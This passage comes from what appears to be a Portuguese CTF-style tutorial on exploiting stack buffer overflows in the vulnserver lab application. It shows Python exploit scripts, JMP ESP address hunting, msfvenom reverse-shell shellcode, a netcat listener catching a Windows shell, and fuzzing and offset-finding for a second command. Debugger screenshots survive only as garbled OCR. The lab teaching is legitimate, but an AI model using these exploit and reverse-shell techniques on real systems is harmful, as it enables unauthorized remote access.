| aa\xab\xac\xad\xae\xat\xb0\xb1\xb2\xb3\xb4\xb5\xbb\xbb\xbb\xb4\xb5\xbb\xb2\xba\xbb\xbc\xbd\xbb\xbc\xbd\xbb\xbc\xbd\xbb\xbc\xbd\xbb\xbc\xbd\xbb\xbc\xbd\xbb\xbc\xbd\xbb\xbc\xbb\xbc\xbb\xbc\xbb\xbc\xbb\xbb                            |
| <pre>\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\</pre>  |

Vamos adicionar estes badchars em nosso payload no lugar dos "C" e rodar novamente.

#!/usr/bin/python3 import socket # variaveis de conexao ip = "192.168.1.30" porta = 9999 # tamanho do offset encontrado no fuzzing offset = 5061# payload a ser enviado payload = b"TRUN /../" # funcao inicial payload += b"A"\*2003 # preenchimento do buffer payload += b"B"\*4 # sobrescreve EIP payload += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\ x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2 b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x 41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56 \x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6 c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x 82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97 \x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xa d\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\x c3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/x d9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\# sobrescreve ESP s = socket.socket(socket.AF INET, socket.SOCK STREAM) # cria o socket s.connect((ip,porta)) # conecta no alvo s.send(payload + b"\r\n") # envia o payload s.close() # fecha conexao

Após reiniciar o vulnserver no Immunity, vamos rodar o script novamente.

| Immunity Debugger - vulnserver.exe - [CPU - thr[] d 00000DC8]   | - 0 ×   |
|---|---------|
| Since yew Decoug Pugins immuto Oppons window Help gots<br>D 3 m T 4 x > 1 m 4 4 2 1 m 4 4 2 1 m 4 4 1 e m t w h c  P k h z r s ? Code auditor and software assessment specialist needed   | - e' ×  |
| A         Registers (FPU)         < <   | < < < < |
| Rdd.cers.       Hex.dump.       600019703       649336201       Geve         0900019708       69000       6000       60000       60000       600000       60000000         0900019708       690000000       600000000       600000000       600000000       600000000       600000000       6000000000       6000000000       6000000000000000000       6000000000000000000000000000000000000 |         |
| Show CPIL (01++C)   | Paused  |

Novamente o programa quebrou e reescreveu o EIP com os 42. Se observarmos a imagem, veremos que todos os carcteres foram aceitos, com excessão do byte "\x00" que não enviamos por ser geralmente um badchar, ou seja praticamente não temos limitação para gerar o shellcode. Agora precisamos encontrar um bom endereço de retorno.

#### ENCONTRANDO UM BOM ENDEREÇO DE RETORNO

O nosso payload vai sobrescrever o buffer, o EIP e o ESP, logo, nosso shellcode será armazenado no ESP, por tanto, precisamos manipular nosso EIP para que aponte para o endereço do ESP quando enviarmos nosso payload. No entanto, ao obervarmos as imagens, cada vez que executamos o payload, o ESP mudou de endereço, pois ele é dinâmico e é praticamente impossível descobrir qual endereço vai estar quando rodarmos o payload.

Para eliminarmos este problema, existe o registrador "jump" (JMP) que faz saltos na execução para outros registradores, se encontrarmos na dll do programa, algum jump que aponte para o ESP, podemos preencher o endereço do EIP com o endereço deste jump, fazendo com que, quando a execução chegue nesse ponto, ele pule para o endereço do nosso shellcode.

Para encontrar possíveis jumps que apontem para o ESP, podemos usar o próprio Immunity na sua barra de pesquisa através do plugin "mona.py", procurando por "!mona jmp -r esp".

### https://hastur666.github.io/Windows BoF/

| 0BADF00D<br>625011AF<br>625011BB<br>625011D7<br>625011D7<br>625011DF<br>625011F7<br>62501203<br>62501203<br>0BADF00D           | [+] Results :<br>0x625011af<br>0x625011bb<br>0x625011c?<br>0x625011df<br>0x625011df<br>0x625011eb<br>0x625011eb<br>0x625011f?<br>0x62501203<br>0x62501205<br>Found a t | <pre></pre> | esp<br>esp<br>esp<br>esp<br>esp<br>esp<br>esp<br>esp | (PAGE<br>(PAGE<br>(PAGE<br>(PAGE<br>(PAGE<br>(PAGE)<br>ascii (<br>ascii (<br>pointers | EXECUTE_READ><br>EXECUTE_READ><br>EXECUTE_READ><br>EXECUTE_READ><br>EXECUTE_READ><br>EXECUTE_READ><br>EXECUTE_READ><br>PAGE_EXECUTE_<br>PAGE_EXECUTE_ | [essfunc.dll]<br>[essfunc.dll]<br>[essfunc.dll]<br>[essfunc.dll]<br>[essfunc.dll]<br>[essfunc.dll]<br>[essfunc.dll]<br>READ〉 [essfunc<br>READ〉 [essfunc | ASLR:<br>ASLR:<br>ASLR:<br>ASLR:<br>ASLR:<br>ASLR:<br>ASLR:<br>ASLR:<br>.dll1 | False,<br>False,<br>False,<br>False,<br>False,<br>False,<br>SLR: Fa<br>SLR: Fa | Rebas<br>Rebas<br>Rebas<br>Rebas<br>Rebas<br>Rebas<br>Rebas<br>1se, |  |
|--|--|-------------|--|---|---|---|---|--|---|--|
| ØBADF00D       Found a total of 9 pointers         ØBADF00D       0BADF00D         (F) This mona.py action took 0:00:02.051000 |  |             |  |   |   |   |   |  |   |  |
| !mona jmp -r esp   |  |             |  |   |   |   |   |  |   |  |

Restart program (Ctr1+F2)

Encontramos 9 bons endereços para incluir em nosso payload.

#### INSERINDO O ENDEREÇO DE RETORNO NO PAYLOAD

Em posse do endereço de retorno, vamos adicionar um deles no lugar de nossos B, eu vou utilizar o 62501203, porém a notação para envio tem que ser em little indian, portanto os bytes tem ordem inversa, ficando: \x03\x12\x50\x62. Vamos atualizar o exploit.

xpltrun.py:

#!/usr/bin/python3 import socket # variaveis de conexao ip = "192.168.1.30" porta = 9999 # tamanho do offset encontrado no fuzzing offset = 5061# payload a ser enviado payload = b"TRUN /../" # funcao inicial payload += b"A"\*2003 # preenchimento do buffer payload += b"\x03\x12\x50\x62" # sobrescreve EIP com JMP ESP payload += b"C" \* (5062 - 2003 - 4) # sobrescreve ESP s = socket.socket(socket.AF INET, socket.SOCK STREAM) # cria o socket s.connect((ip,porta)) # conecta no alvo s.send(payload + b"\r\n") # envia o payload s.close() # fecha conexao

Com o nosso script atualizado, vamos inserir um breakpoint no Immunity, exatamente em nosso endereço de retorno, para isso podemos pesquisar o endereço através do botão "Go to address Disassembler" e em seguida pressionar "F2". Com o breakpoint configurado, vamos reiniciar o vulnserver no Immunity e rodar nosso script.

### https://hastur666.github.io/Windows BoF/

| 4 Immunity Debugger - vulr erver.exe - [CPU - thread (   | 000010CC]  | - 6 ×   |
|--|--|---|
| <u>File View Debug Plugins ImmLib Options</u>  | Window Help Jobs   | - B X   |
|  | TemtwhcPkbzis  | Provintence (PPII)     A A A A A A A A A A A A A A A A A  |
| 00000         10000         10000           00000         10000         10000           00000         10000         10000           00000         10000         10000           00000         10000         10000           00000         10000         10000           000000         10000         10000           000000         10000         10000           000000         10000         10000           000000         10000         10000           000000         10000         10000           0000000         10000         10000           0000000         10000         10000           00000000         10000         10000           000000000         100000         100000           00000000000         1000000         1000000           000000000000000000000000000000000000   |  | EAX 0008AFLE8 ASCII "TRUN //AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  |
| 00BAF9DF 43 INC EBX  |  | ✓ ST2 empty g   |
| EBX=00000104   |  | 513 empty g<br>ST4 empty g<br>ST5 empty g<br>ST6 empty g  |
| Address         Hex dump           004030100         FF FF FF FF 00         40         00         00         70         21           00403010         FF FF FF FF 00         40         00         00         F7         75           00403010         FF FF FF FF 00         60         00         00         F7         75         10         00         00         70         21           00403012         FF FF FF FF 00         60         00< | 2         40         00 </td <td>• DEBRFYCB         43434343         CCCC         •           • DEBRFYDC         43434343         CCCC         •           • DEBRFYDE         43434343         CCCC         •           • DEBRFYEE         43434343         CCCC         •</td> | • DEBRFYCB         43434343         CCCC         •           • DEBRFYDC         43434343         CCCC         •           • DEBRFYDE         43434343         CCCC         •           • DEBRFYEE         43434343         CCCC         •   |
|  |  | 00BNF9EC         43434343         CCCC           00BNF9PH         43434343         CCCC           00BNF9PF         43434343         CCCC           00BNF9PF         43434343         CCCC           00BNF9PF         43434343         CCCC           00BNF9PF         43434343         CCCC           00BNF9N64         43434343         CCCC |
| 00403140 00 00 00 00 00 00 00 00 00 00 00<br>00403150 00 00 00 00 00 00 00 00 00 00  | 8 00 00 00 00 00 00  | У ЮИВНИНІС 43434343 СССС<br>ИЛВАГА20 43434343 СССС  |
|  |  |   |
|  |  | Paused  |
| P Type here to search  | o H 💽 👼 🗄  | : 🔽 🔧 🔳 ^ 면 🗆 뒤 🗤 eng 10:09 PM  |

Após o programa parar em nosso breakpoint, podemos clicar em "F7" para avançar para próxima instrução, e veremos que caímos exatamente em nosso buffer de "C".

#### GERANDO O SHELLCODE E ORGANIZANDO O EXPLOIT

Para gerar nosso shellcode, vamos utilizar outro programa da suide MSF, o msfvenom, onde vamos configurar a conexão reversa com nossa máquina atacante.

```
$ msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.12 lport=8443 -b '\x00' -v
shellcode -f py
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1965 bytes
shellcode = b""
shellcode += b"\x58\x39\x90\x2e\x4f\xda\xc9\xd9\x74\x24\xf4"
shellcode += b"\x58\x2c\x4f\xf0\xf1\xd9\x6f\xa7\xf2\xcb"
```

Onde: -p windows/shell\_reverse\_tcp é a instrução que será gerada no payload lhost é o endereço para onde o Windows vai enviar o shell, no caso o IP do Kali lport é a porta onde o Windows vai se conectar -b "\x00" são os badchars para serem evitados -v shellcode é o nome da variável a ser criada -f py é o formato que vai ser criado, no caso python

Vamos adicionar o shellcode em nosso exploit e organizar o envio com uma sequencia de NOPs antes do shellcode.

O NOP (no operator) é uma instrução que não faz absolutamente nada, mas há uma tecnica chamada de "nop slad", onde inserimos uma sequência de NOPs antes do shellcode para que o programa não quebre o shell.

xpltrun.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# tamanho do offset encontrado no fuzzing
offset = 5061
nop = b'' x 90''* 20
shellcode = b""
shellcode += b"\xda\xd2\xbb\x01\x23\x9e\xef\xd9\x74\x24\xf4"
shellcode += b"\x5f\x31\xc9\xb1\x52\x31\x5f\x17\x83\xc7\x04"
shellcode += b"\xe8\x4b\x2f\x68\x61\x3e\x4f\xdf\x82\x6b"
# payload a ser enviado
payload = b"TRUN /../" # funcao inicial
payload += b"A"*2003 # preenchimento do buffer
payload += b"\x03\x12\x50\x62" # sobrescreve EIP
payload += nop # sobrescreve ESP com os NOPs
payload += shellcode # envia nosso shellcode apos os NOPs
s = socket.socket(socket.AF INET, socket.SOCK STREAM) # cria o socket
s.connect((ip,porta)) # conecta no alvo
s.send(payload + b"\r\n") # envia o payload
s.close() # fecha conexao
```

#### OBTENDO ACESSO REMOTO

Com o exploit pronto, precisamos deixar um netcat ouvindo em nossa máquina atacante na mesma porta utilizada para gerar o shellcode, no meu caso a 8443.

• File Actions Edit View Help hastur@hastur: ~/Desktop/estudos/binario listening on [any] 8443 ...

Vamos executar o vulnserver.exe na máquina alvo, mas desta vez rodando normalmente fora do Immunity.



Agora vamos rodar o xpltrun.py e verificar em nosso netcat a conexão reversa.

```
-(hastur@hastur)-[~/Desktop/estudos]
s nc -vlnp 8443
listening on [any] 8443 ...
connect to [192.168.1.12] from (UNKNOWN) [192.168.1.30] 49792
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.
C:\Users\suite\Desktop>cd \
cd \
C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 6E21-762B
 Directory of C:\
08/10/2021 04:59 PM
                        <DIR>
                                        nasm
12/07/2019 02:14 AM
                                        PerfLogs
                        <DIR>
08/10/2021 04:55 PM
08/10/2021 04:58 PM
                                        Program Files
                        <DIR>
                        <DIR>
                                        Program Files (x86)
08/10/2021 04:58 PM
                        <DIR>
                                        Python27
08/10/2021 04:54 PM
                        <DIR>
                                        Users
08/10/2021 08:06 PM
                        <DIR>
                                        Windows
               0 File(s)
                                       0 bytes
               7 Dir(s) 31,942,643,712 bytes free
C:\>[]
```

E conseguimos nosso acesso remoto. A vulnerabilidade do comando TRUN é a mais simples dos buffer overflow, nos próximos comandos, vamos experimentar complexidades diferentes.

### COMANDO GTER

O comando GTER, assim como os demais, recebe um argumento e dá uma resposta. Neste comando, temos uma situação parecida com a anterior, porém encontramos uma problema com o espaço disponível para nosso shellcode, portanto precisaremos de uma técnica um pouco mais complexa.



Sabendo de seu funcionamento, vamos fazer o fuzzing do comando.

#### FUZZING

Assim como fizemos com o comando TRUN, vamos utilizar o protocolo Spike. Para tanto, vamos criar nosso script.

gter.spk

```
s_string("GTER ");
s_string_variable("*");
```

Onde: s\_string: é um parâmetro imutável, no nosso caso, sempre irá enviar "TRUN" (não esqueça do espaço após o TRUN); s\_string\_variable: é um parâmetro que indica o que será mudato em cada envio.

Antes de enviar o fuzzing, vamos iniciar o wireshark monitorando nossa conexão.

| ø           |   |  |  |                  |                     | Capturing fr   | rom wlan0  |       |
|-------------|---|--|--|------------------|---------------------|----------------|--|-------|
| <u>File</u> | dit <u>V</u> iew <u>G</u> o <u>C</u> apt  | ture <u>A</u> nalyze <u>S</u> tatistic | s Telephony <u>W</u> ireless <u>T</u> oo | ols <u>H</u> elp |                     |                |  |       |
|             | l 🙆 🕲 ± 🔳   | ⊠ ⊠ Q € ·                              | › · · · · 📮 📕                            |                  |                     |                |  |       |
| ip.ds       | st == 192.168.1.27  |  |  |                  |                     |                |  |       |
| No.         | Time  | Source                                 | Destination                              | Protocol         | Length Info         |                |  |       |
| T.          | 9 3.058807583   | 192.168.1.12                           | 157.240.12.53                            | TLSv1.2          | 2 106 Application   | Data           |  |       |
|             | 10 3.071211581  | 157.240.12.53                          | 192.168.1.12                             | TCP              | 66 443 → 50788      | [ACK] Seq=1 Ac | k=41 Win=555 Len=0 TSval=3193491333 TSecr=1170525515   |       |
|             | 11 3.278903809  | 157.240.12.53                          | 192.168.1.12                             | TLSV1.2          | 2 113 Application   | Data           | ck-49 Win-12509 Lon-0 TSval-1170525725 TSocr-21024014  | 77    |
| -           | 18 8.186100933  | 192.168.1.12                           | 52,48,229,36                             | TLSv1.2          | 105 Application     | Data           | UCK-46 WIN-12596 Len-0 15Vat-11/0525/55 13cc1-51554514 |       |
|             | 19 8.500346285  | 52.48.229.36                           | 192.168.1.12                             | TCP              | 66 443 → 34862      | [ACK] Seq=1 Ac | k=40 Win=442 Len=0 TSval=80456859 TSecr=3437221371     |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
| > Fran      | ne 9: 106 bytes c   | n wire (848 bits)                      | 106 bytes captured (8                    | 48 bits) (       | on interface wlan0, | id 0           |  |       |
| + Ethe      | ernet II, Src: In   | itelCor_0c:87:bc (                     | <pre>bc:cd:5b:0c:87:bc), Dst</pre>       | : Realteks       | S_8b:80:ab (00:e0:4 | c:8b:80:ab)    |  |       |
| > Inte      | ernet Protocol Ve   | rsion 4, Src: 192                      | 168.1.12, Dst: 157.240                   | .12.53           |                     |                |  |       |
| + Tran      | ismission Control   | . Protocol, Src Poi                    | t: 50788, Dst Port: 44                   | 3, Seq: 1,       | , Ack: 1, Len: 40   |                |  |       |
| • ITai      | isport Layer Secu   | rity                                   |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
| 0000        | 00 e0 4c 8b 80 a  | ab 5c cd 5b 0c 87                      | bc 08 00 45 00 ·····                     | <u>\</u> [       | (E)                 |                |  |       |
| 0010        | 00 50 br ad 40 c  | 00 40 00 01 15 00<br>bb of 84 b2 2b 65 | a8 01 00 90 10 0 e                       | 9.0-             |                     |                |  |       |
| 0030        | 31 36 6c 28 00  | 00 01 01 08 0a 45                      | c4 cd 4b be 58 161(                      | E                | кх                  |                |  |       |
| 0040        | 8d ea 17 03 03  | 00 23 e0 7e c9 55                      | a9 36 64 86 85                           | #- ~- U-6        | d                   |                |  |       |
| 0050        | 31 6f 0d 15 16  | eb dd 9f 14 c7 41                      | f0 62 60 1b 4c 10                        | · · · A · b      |                     |                |  |       |
| 0060        | e1 b3 70 b5 05 f  | ôd cf de 88 dd                         |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             |   |  |  |                  |                     |                |  |       |
|             | uter Or all a sector  |  |  |                  |                     |                | Destroke 24 Dis-Jour di G                              | 125.0 |
|             | wlan0: <live capture<="" td=""><td>in progress&gt;</td><td></td><td></td><td></td><td></td><td>Packets: 24 · Displayed: 6</td><td>(25.0</td></live> | in progress>                           |  |                  |                     |                | Packets: 24 · Displayed: 6                             | (25.0 |

Com o programa iniciado na máquina Windows, vamos enviar nosso fuzzing com o script "generic\_sender\_tcp".

```
-(hastur@hastur)-[~/.../estudos/binarios/windows/VulnServer]
__$ generic_send_tcp 192.168.1.30 9999 gter.spk 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21
Fuzzing Variable 0:4
Variablesize= 3
Fuzzing Variable 0:5
Variablesize= 2
Fuzzing Variable 0:6
Variablesize= 7
Fuzzing Variable 0:7
```

Podemos ver que na terceira iteração, o programa parou de responder, automaticamente fechou na máquina Windows. Analisando o dump no WIreshark, podemos verificar o que foi enviado.

# https://hastur666.github.io/Windows\_BoF/

| 4                                      | Wireshark - Follow TCP Stream (tcp.stream eq 23) - wlan0  | >               | ¢ |
|--|---|-----------------|---|
|  | Wireshark-Follow TCP Stream (tcp.stream eq 23)-wlan0           AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |                 |   |
| аалалаалалалалалалалалалалалалалалалал |   |                 |   |
|  |   | 23 -            |   |
| Find:                                  |   | id <u>N</u> ext |   |
|  | Filter Out This Stream Print Save as Back Close H   | Help            |   |

Podemos observar que o buffer estouruou com 5060 bytes, sendo que o nosso buffer inicia com "/.:/".

### EXPLORAÇÃO

Agora que sabemos que o programa sofreu um crash com 5061 bytes, já incluindo o comando "GTER /.:/", podemos iniciar o esboço do exploit.

xplgter.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999                  |
| # payload a ser enviado<br>offset = 5060                                       |
| payload = b"GTER /.:/" # funcao inicial<br>payload += b"A" * offset            |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta)) |
| print("Enviando payload")  |
| s.send(payload + b"\r\n")<br>s.close()   |
| print("Payload enviado!")  |

Precisamos iniciar o vulnerver, mas agora com o Immunity Debbuger e rodar nosso script.

| 🖧 Immunity Debugger - vulnserver.exe - [CPU - thread 00001 😡]                                  | - 0 ×  |
|--|--|
| C File View Debug Plugins ImmLib Options Window Help Jobs                                      | _ 8 ×  |
| 😂 🐝 🗏 🕊 🗙 🕨 III 🐓 👯 🕌 🚽 📲 lemt whc Pkbzrs  | ? Immunity: Consulting Services Manager  |
|  | A Registers (PPU)              EAX 806/27928 ASCI1 47,"TER /:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  |
| BdC2PP3CB       H1 41 141 41 41 41 41 41 41 41 41 41 41 A1 | • 00C7P20:03         41414141         ANAR           • 00C7P20:03         41414141         ANAR           • 00C7P20:04         41414141         ANAR           • 00C7P20:04         41414141         ANAR           • 00C7P20:04         41414141         ANAR           • 00C7P20:04         A1414141         ANAR           • 00C7P20:04         A1414141         ANAR           • 00C7P20:04         A1414141         ANAR           • 00C7P20:04         ABABABB         25252           • 00C7P20:04         ABABABB         25252           • 00C7P20:07         ABBABABB         25252           • 00C7P20:07         OBABABAB         25252           • 00C7P20:07         0000000000            • 00C7P20:07         0000000000            • 00C7P30:07         0000000000            • 00C7P30:07         00000000000            • 00C7P30:00         000000000000000000000000000000000000 |
| Show windows   | Paused   |

Novamente conseguimos sobrescrever o EIP com "41414141", o que é ótimo, pois conseguimos controlar o endereço da próxima execução após o overflow.

Mas se seguirmos o dump do ESP, podemos ver que temos apenas 20 bytes para inserir nosso shellcode, o que é praticamente impossível uma vez que ele ocupa aproximadamente 350 bytes.

Teremos que usar uma técnica diferente para conseguirmos nossa shell.

Isso também mostra que talvez nem precisemos de todos os 5060 bytes que nosso fuzzing encontrou, vamos criar nosso próprio script para encontrar um fuzzing mais próximo.

fuzzing.py:

```
#!/usr/bin/python3
import socket
from time import sleep
import sys
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
payload = b"GTER / .: /" # funcao inicial
payload += b"A" * 100 # quantidade inicial de bytes
while True:
  try:
    s = socket.socket(socket.AF INET, socket.SOCK STREAM)
    s.connect((ip,porta))
    s.send(payload + b"\r\n")
    s.recv(1024)
    s.close()
    sleep(1)
    payload = payload + b"A"*100
  except:
    print("Buffer estourado em %s bytes"%(str(len(payload))))
    sys.exit()
```



Temos o offset de 309 bytes para criarmos nosso payload.

Sabendo disso, precisamos encontrar o offset preciso para atingir o EIP, vamos utilizar o msf-pattern\_create para criar uma string distinta.

```
$ msf-pattern_create -I 309
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac
2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae
5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9
Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj
5Aj6Aj7Aj8Aj9Ak0Ak1Ak2
```

Vamos inserí-lo em nosso script.

xplgter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 5060
payload = b"GTER / .: /" # funcao inicial
#payload += b"A" * offset
payload +=
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1A
c2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A
e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag
9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4A
j5Aj6Aj7Aj8Aj9Ak0Ak1Ak2"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado!")
```

Após reiniciar o vulnserver no Immunity, vamos rodar o script e monitorar o comportamento.

| 4 Immunity Debugger - vulnserver.exe - [CPU - thread 0000143C]             | – 0 ×  |
|--|--|
| C File View Debug Plugins ImmLib Options Window Help Jobs                  | - 5  |
| 🗁 🐎 🗉 🔣 📢 🗙 🕨 🛯 🖌 🖊 🔰 📲 👌 🖬 lemtwhcPkbzr                                   | s ? Immunity: Consulting Services Manager  |
|  | ∧ Registers (FPU) < < < < < <  |
|  | EAX 00E5F928 ASCII 47, "TER /.:/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa?Aa8Aa9Ab0Ab                  |
|  | EDX 0009311DC  |
|  | EBX 00000104   |
|  | ESP 00ESF9C8<br>EBP 38654137   |
|  | ESI 00401848 vulnserv.00401848   |
|  |  |
|  | C = C = C = C = C = C = C = C = C = C =  |
|  | P 1 CS 0023 32bit 0(FFFFFFF)   |
|  | A Ø SS ØØ2B 32bit Ø <fffffff><br/>7 1 DS ØØ2B 32bit Ø<ffffffff></ffffffff></fffffff> |
|  | S 0 FS 0053 32bit 3CD000 <fff></fff>   |
|  | T Ø GS ØØ2B 32bit Ø <fffffff></fffffff>  |
|  | 0 0 LastErr ERROR_SUCCESS (00000000)   |
| Address Hex dump ASCII   | ∧ 00E5F9C8 66413066 f0Af   |
| 00403000 FF FF FF FF 00 40 00 00 .C  | 00E5F9CC 32664131 1Af2   |
| 00403008 70 2E 40 00 00 00 00 00 p.€<br>00403010 FF FF FF FF 00 00 00 00   | 00E5F9D4 66413466 f4Af   |
| 00403018 FF FF FF FF 00 00 00 00   | 00E5F9D8 36664135 5Af6<br>00E5F9DC ABABABAB ****                                     |
| 00403020 FF FF FF FF 00 00 00 00<br>00403028 00 00 00 00 00 00 00 00       | 00E5F9E0 ABABABAB 2222   |
| 00403030 00 00 00 00 00 00 00 00   | 00E5F9E4 FEEEFEEE E IIC II<br>00F5F9F8 0000000                                       |
| 88483848 88 88 88 88 88 88 88 88 88 88 88 88                               | 00E5F9EC 0000000   |
| 00403048 00 00 00 00 00 00 00 00   | 00E5F9F0 00000000  |
| 20403058 00 00 00 00 00 00 00 00 00  | 00E5F9F8 0000000   |
| 99493969 99 99 99 99 99 99 99 99<br>99493969 99 99 99 99 99 99 99 99 99 99 | 00E5F9FC 0000000   |
| 38483878 88 88 88 88 88 88 88 88 88 88 88 88                               | 00E5FA04 00930000  |
| 10403078 00 00 00 00 00 00 00 00   | 00E5FA0C 00000000  |
| 30403088 00 00 00 00 00 00 00 00   | 00E5FA10 00000000<br>00E5FA14 00921119 146 00CLL 42 "TEP / //0-00-10-20-20-40-50-60  |
| 10403090 00 00 00 00 00 00 00 00   | 00E5FA18 00000000  |
| 304030A0 00 00 00 00 00 00 00 00   | 00E5FA1C 00960000û.  |
| 104030R8   | 00E5FA24 00000000  |
| 204030B8 00 00 00 00 00 00 00 00   | 00E5FA28 00000000  |
| 184838C8 88 88 88 88 88 88 88 88 88 88 88 88                               | 00E5FA30 00000000  |
| 204030D0 80 80 80 80 80 80 80 80   | 00E5FA34 00960000û.<br>00E5FA38 4000062 b 0  |
| 304030D8 00 00 00 00 00 00 00 00   | 00E5FA3C 0000000   |
| 304030E8 00 00 00 00 00 00 00 00   | 00E5FA40 000000000<br>00E5FA44 00000000  |
| 304030F8 00 00 00 00 00 00 00 00   | 00E5FA48 00000000  |
| 30403100 00 00 00 00 00 00 00 00   | 0025FA4C 00000000  |
| 00403108 00 00 00 00 00 00 00 00<br>00403110 00 00 00 00 00 00 00          | 00E5FA54 00000000  |
| 00403118 00 00 00 00 00 00 00 00   | Activate Windows   |
| 00403138 00 00 00 00 00 00 00 00 00  | ✓ 00E5FA60 00000000 Go to Settings to activate Windows                               |
|  |  |
| [19:12:31] Access violation when executing [41396541] - use Shift+F7.      | /F8/F9 to pass exception to program Paused   |

Temos o endereço de EIP de 41396541, vamos consultar no msf-pattern\_offset.

\$ msf-pattern\_offset -I 309 -q 41396541 [\*] Exact match at offset 147

